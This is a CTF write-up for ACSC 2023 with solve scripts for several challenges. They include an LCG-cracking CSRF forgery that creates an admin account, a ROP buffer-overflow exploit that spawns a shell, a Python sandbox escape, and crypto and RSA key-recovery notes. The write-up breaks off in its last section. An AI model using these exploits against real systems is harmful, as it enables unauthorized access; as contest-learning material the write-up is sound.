---
# System prepended metadata

title: ACSC 2023 (rough) Writeup

---

# ACSC 2023 (rough) Writeup
Sorry for using broken English:bow:

## Welcome
:yum:

![](https://i.imgur.com/ii7AlDs.png)

## Merkle Hellman

Since all of possible charactors are encoded to number one-to-one, we can just create the table of the encoded number.

```python=
pub = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
priv = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
cipher = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

table = []

for f in range(0, 128):
  s = 0
  for i in range(7):
    if f & (64>>i):
      s += pub[i]
  table.append(s)

print(''.join([chr(table.index(c)) for c in cipher]))
```

## pcap-1
By looking through the packet capture, you can notice that there is some captures from USB devices. This suggests that there is a possibility to exist flag information in the form of key stroke informations.

I extracted these information using the script in [this](https://abawazeeer.medium.com/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) article.
Raw data was extracted by filtering pcap.
![](https://i.imgur.com/5N5Ga6h.png)
This is the partial output from the script. I combined these charactors manually.
![](https://i.imgur.com/25yPgS8.png)

## Admin Dashboard

In the `addadmin.php`, Paramators are referenced by `_REQUEST` variable. This varialbe also be set by GET request. Since the policy of the cookie was set to `Lax`, you can create admin account by reporting url such as:`/addadmin?username=hoge&password=fuga&csrf-token=XXXX`.

```php=
<?php
	if(isset($_REQUEST['username']) && isset($_REQUEST['password']) && isset($_REQUEST['csrf-token'])){
		if($_SESSION["user"]["role"] !== "admin"){
			echo "<p class='text-danger'>No permission!</p>";
		}else{
			if($_REQUEST['csrf-token'] === gmp_strval($_SESSION['X'],16)){
				$sql = "INSERT INTO users (username, password, role) VALUES (?,?,'admin')";
				$stmt = $conn->prepare($sql);
				$stmt->bind_param("ss", $_REQUEST['username'], $_REQUEST['password']);
				$result = $stmt->execute();
				echo "<p class='text-success'>Added successfully!</p>";
			}else{
				echo "<p class='text-danger'>Wrong token!</p>";
			}
		}
	}
?>
```

Next, you need to acquire the CSRF token of the admin account. Since CSRF token was generated by LCG using the `username` as a seed, you can leak the paramators of LCG from our CSRF token. Note that you can find your CSRF token even if you haven't the admin privilege, since `/addadmin` page is not restricted only for the admin.

```python=
from ctf import *
from time import sleep, time
import requests

# HOST = "http://admin-dashboard.chal.ctf.acsc.asia/"
HOST = "http://admin-dashboard-2.chal.ctf.acsc.asia:8000/"
# HOST = "http://localhost:8000/"

sess = requests.Session()
sess.get(
    HOST + "login",
    params={"username":"neko","password":"hogefugapiyo"}
)

def get_token():
    return sess.get(HOST + "addadmin").text.split('csrf-token" value="')[1].split('"')[0]

tokens = [bytes_to_long(b"neko")]
while True:
    token = get_token()
    tokens.append(bytes_to_long(bytes.fromhex(token)))
    if 3 <= len(tokens): break
    sleep(30)
    
print(f'{tokens=}')

def crack_unknown_increment(states, modulus, multiplier):
    increment = (states[1] - states[0] * multiplier) % modulus
    return increment

def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * inverse(states[1] - states[0], modulus) % modulus
    return multiplier

m = 0xc4f3b4b3deadbeef1337c0dedeadc0dd
a = crack_unknown_multiplier(tokens, m)
c = crack_unknown_increment(tokens, m, a)

print(f'{m=}\n{a=}\n{c=}')

admin_token = long_to_bytes((bytes_to_long(b'admin') * a + c) % m).hex()
our_next_token = long_to_bytes((tokens[-1] * a + c) % m).hex()

print(f'{admin_token=}')
print(f'{our_next_token=}')
# sleep(30)
# bprint(f'{get_token()=}')

t = int(time())
uname = f'nekodx{t}'
password = 'nekonekonerce'

URL = f"http://localhost/addadmin.php?username={uname}&password={password}&csrf-token={admin_token}"

print(f'{URL=}')
print(sess.post(
    HOST + "report",
    data= { "url": URL }
).text.split("</form>")[1].split("</main>")[0].strip())

print("[+] reported")

sleep(1)

status = sess.get(
    HOST + "login",
    params={"username":uname,"password":password}
).text.split("""\t<label for="username" class="sr-only">Username</label>""")[0].splitlines()[-1].strip()

if "Wrong" in status:
    exit(0)

print(sess.get(
    HOST + "index"
).text)
```

## serverless

First, I partially de-obfuscate the provided js file.

```javascript=
function b(d, f) {
    var g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7n, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577n, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9n, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3n, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbbn, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fdn, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699n, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229n, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5fn, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287n],
        h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1n, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35n, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611n, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67n, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087n, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7n, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95n, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569n, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49n, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397n],
        j = Math['floor'](Math['random']() * (10)),
        k = Math['floor'](Math['random']() * (10)),
        l = g[j],
        o = h[k],
        r = l * o,
        s = Math['floor'](Math['random']() * (5)),
        t = Math['pow'](2, Math['pow'](2, s)) + (1);

    function u(A) {
        var B = new TextEncoder()['encode'](A);
        let C = 0x0n;
        for (let D = 0x13c8 + 0x1 * 0x175b + -0x2b23; D < B['length']; D++) {
            C = (C << 0x8n) + BigInt(B[D]);
        }
        return C;
    }
    var v = u(d);
    console.log([v, d]);

    function w(A, B, C) {
        if (B === 0) return 0x1n;
        return B % 2 === 0 ? w(A * A % C, B / 2, C) : A * w(A, B - 1, C) % C;
    }
    var x = w(v, t, r);
    let y = [];
    while (x > 0) {
        y['push'](Number(x & 0xffn)), x = x >> 0x8n;
    }
    console.log(y);
    y['push'](Number(s));
    y['push'](Number(k));
    y['push'](Number(j));
    console.log([s,k,j]);
    console.log(y.slice(y.length - 10));
    console.log(f);
    var z = new TextEncoder()['encode'](f);
    for (let A = 0; A < y['length']; ++A) {
        y[A] = y[A] ^ z[A % z['length']];
    }
    return btoa(y['reverse']());
}
```

Then, write the decode script by python.

```python=
from base64 import b64decode
from ctf.sage import *

res = "MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy"

y = [*map(int, b64decode(res).split(b","))][::-1]


y = [i ^^ ord(j) for i, j in zip(y, "acscpass" * 100)]

print(y)

j = y.pop()
k = y.pop()
s = y.pop()

x = 0
while len(y):
  x <<= 8
  x += y.pop()

print(j, k, s, x)

g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbb, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fd, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5f, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287]
h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397]

l = g[j]
o = h[k]
r = l * o
t = pow(2, pow(2, s)) + 1

pari(f'addprimes({l})')

print(long_to_bytes(int(mod(x, r).nth_root(t))))
```

## vaccine

There is a obvious stack overflow vuln at `scanf("%s", buf)`. It seems that we can do the ROP for the win. But there is a `strcmp` check with some string. But, luckily the checked variable are located after the buffer, we can overwrite the variable to avoid check.

After that, you can just do some easy rop to leak the address of the libc, then call `system("/bin/sh", 0, 0)`

```python=
from ctf import *

BIN_NAME = 'bin/vaccine'
LOCAL = False

chall = ELF(BIN_NAME)

if LOCAL: stream = process(BIN_NAME)
else: stream = remote("nc vaccine.chal.ctf.acsc.asia 1337")

stream.sendlineafter(
  b'vaccine: ', b'\x00' * 264 + \
  p64(next(chall.gadget("pop rdi; ret;"))) + \
  p64(chall.got("puts")) + \
  p64(chall.plt("puts")) + \
  p64(chall.symbol("main"))
)

stream.recvlineafter("reward: ")
puts_addr = u64(stream.recvline(drop=True))

libc = ELF('lib/libc.so.6')
libc.base = puts_addr - libc.symbol("puts")

rop  = b'\x00' * 264
rop += p64(next(libc.gadget("pop rdi; ret;")))
rop += p64(next(libc.search(b'/bin/sh\x00')))
rop += p64(next(libc.gadget("pop rsi; ret;")))
rop += p64(0)
rop += p64(next(libc.gadget("pop rdx; ret;")))
rop += p64(0)
rop += p64(next(libc.gadget("ret;")))
rop += p64(libc.symbol("system"))

stream.sendlineafter(b'vaccine: ', rop)

stream.interactive()
```

## evalbox

We can read the content of some files by substitute file obj to deffer GC for avoid closing. But, name of the flag file is changed to hash, we need to find the way to get name.

Since we are banned `close` syscall, we can't import another module or we just crashed by closing `.py` or `.pyc` file. Still, we can use some modules like `os`. `os.listdir` seems obvous answer, but since this uses `dirfd`, this function calls `close` syscall. After some research, I noticed that `os.scandir` will not close fd until iteration is over.

Using these, We can acquire the flag.

Following script is prettified by adding newlines. You should delete all of newlines before sending to the server.

```python=
exec("""
dirs = __import__("os").scandir(".");
file = open(next(dirs).name);
print(file.read(), flush=True);
""")
```

## corrupted

First of all, I identified the command that uses for generation of the pem key by messing around, which is `ssh-keygen -f "key.pem" -N "" -t rsa -m pem -b 2048`. Next, I investigate the internal structure of the pem key generated by the same command. I won't go into details in this part since I wrote the similar [writeup](https://hackmd.io/9vFGJyplRtGG6QIUb6wlWQ?view)(Japanese) before.

```
308204a2
020100
0282010100a53dd7ef54f95cd22764f550c9b7c587cc313ac74fa662e20475526b07e74370903aeff4ecc1b14e72a9edbf366898d7cb6373fa9bd5af8bf8861233ffacdc5badb46e53df81f9a58d13d38814a3db4057dfab7e7e025dfd37dc1770a136efe2b64fefcf00bdb717b4e2372c0032cbba4bf12c1b1193960622825ceefdaa9b41701b7d1a80f6381c052db63cdf9424437f36327d1b055dc54b20cbf9ee7e280740349800261c59d7757c69e096571c3cba23209666fdb7ffa91e8f469e4ca3dd59e70c7f87b97e131f27a8e5f386a0b4a90888e252eea675110650b770909322c6bdaa9cc75f1013cf827cf66e49ce2848362f7aa5939c9522a64e59e00f07c5
0203010001
028201000b30ca0142599f934d3f056cbd8c7d8b247aa7b167252c8883fc1cb874e63b91fc4d3c2cf3cfc0f3401eb3f98174c9f7c0a57142fa9a191e65ebfbd59bae183fa3deebf8857d7c41084731c9d87954583785eff64c105af9d2cba1516bb44316067a1967da73feaf53525d4c29e346c5776e7e29d8773744c91782605e662c72167050c9cb8fa13dc887420fb056ab7f7911621d2893ef88414554ba77b509186b112923890e8b118ec40fb59046bc3ac8a509c10fe165c45cb7a2c6c9c7172bfcacee01e96cccec08c1f1f1a3804a050c97f8d54b55301b6118f0f8b9c9947335cb8c8e76311fd2ba63daad48399a4fb4ed9f74fe302633f6d9f147a26903cd
02818100e03780c88f7d3f670d84e1d899dab58047b11f6c3c7e4f7a4dcf1f2e5aea57d1470a9eca59df84f6f708d4a3d738137d1d391d2daaa75dae3b3990fe92d7df5625b8b9b443ebe905a87761a5082a4655587be60f0a8e8652f82d0a580b7b198c89a445196226de69f505eac700b840edee64597c4dd50e3315f1237f7166952b
02818100bcaa376097c6a373c8aaee060a2db93ccf88465999f5eda7986c616b83ead307b96ef230d86746bae586f47cca68bd0629783a3cb58130bec2e50aad5fe2eb39fae416d5fccc14efe96ee320891e29f5b9e3c8b978a4fd0cf982a7e39c17a2434d0857754749e1a6cdaadd4b8aef18865bbe165dd77a02b7334ceeedfbf43ecf
0281801e39fd478c68831a9e6cf29163b4635186d8aef6c574f5bbf42f5ef1bdd9e7bad3cbefba31c17b485be739db58913bb75b302ee9d01ebdf7560e9da8641d6c034e14881c7027a68357c1b84d2a3ba0bdb2af0945afd3a4f21c78ddf31ea11ac1a2709dcc1d3a46339c8f8ea60347d3a0ffc95172fb7f2469e8a45877becee87f
0281803720cdd9adbfdf571fd5c2838549e30cbfdfa41ede7c1c1b92d0688f1016f7df13f23556cc853107bfb5f58ed95e4d8d95648a2fdf2186ead6ec327882c23dd5cd5804cc367833cdfeb9e62845a8c8be02b96a97b7870e62522e397caac9c522414a24b4224696673545ae303ac2aeb9e3e8e1843e486aaeb990cb6842ed15c5
0281801c6b6ad011770de9429e89dcf8da70a58558f7821fcd3ec0ca6c06c35f0a7824e1c75bc1e0e12434c9e4358b784d7e824108581d093a725de37a534635024980e67da7a3a210c989a5044174d434d0e70d129d71baff48931732cb2557a5cc0617be0db1e64cf11652afaedf4860a64f864ae9cac2e46446617344a0a22cb637

308204a2
020100
02820101009f48334893b142745cac0d31ee803da9db70f0f81dabb9ab18af15d02eb320eafd47826ced1108882c21420c71193457ddc445ab79b5b45e9e1ab76f102453e77c2f74393e8e56daec92367b4712515efe3f027a8ce33dc2321f4ce58784cc079daed00f51c813409b58ab9019b8134337c0026d9ba28c2112948b174ad96a8ab67d2e500b124f49abe06e6b284946bc82f9f341a593604c2855e5f64efa441b4b29b408d666c25d093fb863a18ddc6d641846ba9a97a6ff5fd11ba52971c7ed9083de9fc4bb33cbd493db777e12a5e9bf76f06d9743e86ac1ab11929da0f2a841817175c5e90434f54ad538cd27fa493e39c7f871979cad857d983149115779
0203010001
028201000afa1a52ab9f0131ecbb0cb3beb886c76070a1a2afc4c86862ac9a47bd182a32179f687d223f54c3b1aadf16e56a73c1846e84d0a2f423488c03d2556c9adc4f6d2f0606f5e9305229109081a16dc13ed72db77983a11b7df91f5018d7648efd0d60614555010156a7fe0de0c1ecfe22d94239c89cfbb0458d36c0792bf6dcd13383615c86c623b84a538d539c43fc4e1ccd0637dcc7c79131fe76d00f8c0370982792d06707117fc9a482065072d81d6d3586d6c9857e5d1d298319ec13763409bf16c180bc324b342885513d7abf3d5908f6b7bd6a9a1d064cee7cd28a7b11b9c245d7941db1bca230bf0dfe39071305de5f8cb2ab6ba758a1b3a32efd3ce9
02818100dac0b89d5c1feb443c056e620101cbb8b40f44354627dec93da30617d3414b4d7d8e2373e5d832c36c6915dfdb6f15a2da70d08f24dd53bdaf5ce2e9287772e62b3e32e46ddfb5c7845328d7f52f66dd5fdb30f5986af4dd10fdda5cc25488f61365e28a244b6c0ccd69cb7ec9ec9082e87d97005d2c83aae56410c795b904ed
02818100ba6730b1af0d00b851da0e652b7f1be604306dc217a01612e95b917a4eb6ad53b4f120694de246fff138422ac2007a161a815742c381b514feaaad5c01204ae94d0165fb055df86cdd4a72c1d6991f95c0b6b6ba72499330419cd189db3980e52ca99123b0f5f0ac911d3f6b18cc4d2d211594fa8fb16468c6dde9dfd855773d
02818070c0ad67ceb85517d2a82a0131ebaf0a01256d4ed85e6ca2e5b645c9ba0609be635d044114d39f36c38656d40fd2ee2006dfe76020ec43e19da60eff86f02ab520ccea867b6bb7d2a30e0a1b66318c9fc66cc08b96886ab617b0010196d8e3cf92a80d608edca150e80003f7d234b1380885d37348934d3aa50a32ebecec74f1
028180276c8dc2f6d8142fe7b7ebd57ff6994af3d5de50efb83f12eee21c09b73e31b8838b80246581972ca8b3126382b6a11badad6f6c42775b7a3e4690f5e59313e4f61176a539c45f377f3230c5488308481f0345f0771d9290e13fae9dae8d21f2d69862871ef5555ada324a68774d368175fedf8c82f9acd7f03f9d2867d3e3ad
0281801f889c376014fd326371bb4970b0067451f7d4dfe1cf5be46a04771f6c1f528729d847a67b0438b862ec5fbc0731368c05cbb88c5bb7dd9a3682b0fafaeacc9a253d3aaa61cd8c51753d221d296a62d6c8a1cf0a94d19b64e923a106ac64ccd7e5b797476f5273bb10bb7d391aaca13a700bf1a366b63d97abbab7209bd6e0a6

308204a2
020100
0282010100ad80f8d1965198c5cfc8ea09f18d1a5f964c5b1cebed2dc021c9a00636abbf9de44198d4e2afaf8e235f985ea017e7cdc903decffb1f1b65ef46e2da65d45db2cfd6e3a293587e826d442f99e72689a5c6e9526a697ac75533d7a0a2855c5abb271c053b865ccf936e0bc672a855ce388f0911a30fc002c2995b66100301d54fa4a7e2ec96b9a3fd6640f7257f556593157c08b6255cbf52c909f4f0f98041591d4ca6caddb138b10831069f8c17d443772ff60160e308c65ea6b52b32c283905fb5710f60fcde164071b49a7868c06e3a48e834aca52681317d92b1183e575b2e4d54b06ca2cf1a4f6c571418f98bd0799467505d57cfee1e0cc2f01e9eae1b
0203010001
028201001a57d72f8749bb4ee9760166e21880f51b6e5b752033223ba645a538dc4b266c54304b82a32a7696b7b33780c280eeae9583336cd39d8cfce4a018287dc68935718e1880e22b5105ff8e1746204cff203efbc50a281abeb2268d6a33d2d8cb63d813ce8d93a07ad9d11f1391ec121f1e0245a7ba60d54ff5f8efe226b3362f8b4835ae1fff9a9fa24a646993ce9c2b19b0f88e9a63e854be836c3c56193045a6069dac7cdbdfaf169a48b3e5869f9787287d8828d3451ec439d5e98853fcc96374438ed4589d65d22b95054520fda2d637a9da2641eb7374fc994f89987db306fe87d1d2b5c125b1c9f178edc550a5d19de531983a0ba5cfeadb230c4e72cdd9
02818100bc357b32f66e96f8fb6e4483c649bea40198b4420744c8fd6cf6e829fb7a68df9b3f2ba6b5087fb06a6faa45bddc4f91d5126394215cb6e4e802afd47327ded316643829b736f3e0f05d52cfd1baed66cfba0d101d22454822840b91fc7497cf266fa9e678a48d415e64bee116655778f1a7a653a96a5df5773b21c3be716933
02818100ebff8cb7685f23460c0d163776cc5832ee8687895e39e7d3c446d1cd37b841902e0c37bc1862ab066bc8f2174979f11d888657bf101c4f32380e2ce0286031b4caddf61938e3593ee95f020b1dfb96f5999c8f86fddd04cae47dc001d135b320e9d580a244442599b68824ffb0cb34c2760fe2830c265b963a32540b50ee3779
028180183fdbcbc92c9e8f1df62b25bf5aa9118093284689a137344fe1d02ff892e1084e7c69276593debfe036dafd7964f56b98c471c8183455ec506868373b4f1bca9ecbf2e08d16ab7d83fac23cbc8d1521760a46bc98c45da0d9b1a1bc01871438407f8aa8834ad05867cd1b3aed23c98d6fb5661cc96b4707e580dcecd790cd39
0281800bcdd66dfe0c742936c518cd6165cb2b90fead9cd357b61ec37c7f55f26986edfd3fa332074e381bb41c72ef733f642e03fc243b6c44de3936d08eb20f92f02988d41d5119a5557b6e14d07759e291a46b3087854b01591204e7bd48d9fc039fabd280029dc382d5f3694fe0722957d43a2f8536e4ceae5a0f43212d07b94291
02818035adef6729e3ba67ffd18afa93429b577ce1dc111febcf2c6648d8b0d90629ea2e3c9916c99063e1d7a5f72781012a7a0f62b01fd4a21245e3688ae835725a91d0ba0c11b2c70571ca9c1000b09561538df8f7835fbb690a9ff8e21051b54f646872baa6e9371a726ffeaf286d1667d59ed6a5da29353cd87a2a7c0e7ae55fcb

308204a5
020100
0282010100df679d3a3e7064941ad5ae5d2a2296eedf39b3c7c87b67bbeef3f95f6e81c5873bfb0065bd6ddf7759ff76fe8b2da915203533472c4a53f1c7c94589652af9b81df5efd3c536875df5dd8fae7cbf32b82ce3c032a19f8b1b5f95d68b9a267c03c52d4d2c0e62ed44cfda5efd33c3cb1fe27e52404e5ab908dc8c5853291ed95b6f0d51fa471303b9a1345a367f14e47b2cb0e814544ee52e1d3ab61093f7759bbad696ba1b23422c3204ab87ed2cd825174112f0c656bc9f9150f3fe61504510ba75d09cfdb0908671989b57a4de3593d443cbd2dfd3afd3abf55b31e55ec858847b8cec0965a0fef2bd245777bc0a77255f40393ff7920c23eda1df38aa1bc1
0203010001
028201000f50de319908418cf9cdfe773aa5466db7f60fc239976444391c96d31913628463f35052a94af81009a67ef4f27bbde4c9e17bd37c50d832723cf53c77281c18a84d2d14faa7435e88b598dd20864726e344f5ef42af5a6d14ff83c6ec598915051696fcd73ba70299b161e3c001c3523b47e7c1aadd8363fd22ce075d8154eb53fb2310279e5f568e5ce7142a8ff1b50a395b375c586a715e59a51fd53256fb00ed30252ff73240c685fcb4848ccc99e291cdf4c650db6af2d255c2c5af905d0776e15582af88a6371023728c54d018d9d5a99323165ac3833819d30f9e7ccef4dff3875057f6a8814879a64141cbcae700649d0edfe1c69a81f26f701db7f1
02818100fbc849c20929663afa3f9bfcbd4b3462c13cc23fa86028c11b695fb9cc50b42a20d4f1c77700432826eeec4722754fe8c3fb46550bcf56d73e62f4b01bf4373a37b63e421482433dd00aa160aa95e3e7fb890cc865285aa03686968a50dc6abcbdbc73123b60af55bfe790b034051d451dd9263779fd489cab914fb48f00317d
02818100e325a28e2006bbb267a0bba85eecf10cf89f156ff5d85b1ed8821c895b8e219a2cc50422c7e58fdab0bb6cb88b486ada6d9d2c3d961592599a5d0366eab06f598309d32c5bee5aa179b508aeccbca48926b3d42250a619706cf70e513be0c0c7f3b4fe339bce6a98f69c3449d3a309df4f4c76577f287564f85b9560d123e695
02818100e33ca4b4e6a7e288200b00b15df65dd53329aef6dcf3cc545c7501dc2236442431757eb0d309fd92637106f63c773c238b9d60a0a903fc104f51e81c795e33e9eb1623a267f818cfd4cf834e4726f8860a526aa3020925a1ab1455118861264429c9c6e1118df530a2fe4f6b77c795df274d305ca9509b142b13fea7aad835d1
02818100cdacf04a1cf9bbcf49422369cbba647248555405f2e81b6a0cc593ad54779839903c3d0879548633913fc4ac3d822f2ee57e21e70a1532556c0eb8dbe1ba2cb9328c1ce8d7bd35d76ceadd97d9cf1e7509d45f4b4b177b856f452d73a4f257dd35f13713e80aba3f135e51825fde0b3c6703674cc6d90da385b6f7c598da1719
028181009781359803cd914a77e91c4732f8396e23a5265cf0f976793f68a5597fc34eb3c4105b97217e64f7c06efee39ecdb0e0524e098504b1b4c53243cb978f729fd51f914624abf18c613bfad102e04089090bff96d3a5331517acee61452aba54a734879d20acc16091f4b0f3c681f9b7a317f11beef385b9922248a7cc4201edef
```

Using these information, we can extract remaining information from corrupted pem key.

We can see that the `modulus` is fully known, and lower half of bits of the `prime1` and `prime2` are also partially known.

```

308204a4
020100
# modulus
02820101009fef118f5d5cd893a0c9feacd478a2c2de79de1c3dfa819c775106a3c1f9b493848949cf362c5a20630ad4eec253bf8811ee373c97063cf902b62da4cf9a805c0c975c1300947178eaca6641a405a5545154c643d7222787441712380104564a687dd52e1f45a42298a5faa28fe3a5a61a121e57dcee5d967dcb78d130c5835dd676954106c782126698fdbfa4c7075f55eec3cedf247760123ee35b3aa2afbfc8a34e08aaa6c5f9ba29e3bebff7fecac8366f17c6900da8efde4973fc90ee1a6ce26dc9f8366d6bcef50bd045a5088e7622a009328aa72db5bcc621e9027e4b6503e46724b2f5f6d106e3786e6ce640c2a183c6f5df2842b1f44d98c780daff
# publicExponent
02030100??
# privateExponent
0282????????f12???3a6f?????c4dddc???d??fc6??e3??6905900????40828????a0??c????69857????94cc??b??b5????7f97156???46dc??a??7?????650??2a??99ccc6??ad??d0e?????5a37??9b??f??fb4d2c??263e???306???edd???ee4???a????????722??a????????02????8???82a5???????d??????600??78794???????808ff??dc74d4??5?????6d32??a???d?????6f6c??????????ee????3????????????9??e???????b??f???88b??f?????da?????e632eec????55??7??6443??e?????95d?????0??b??b2????8600?????4?????3602219b764?????70f???5???????f?????5e??ddcf????4909af81??407???3e288358b0?????7f9
# prime1
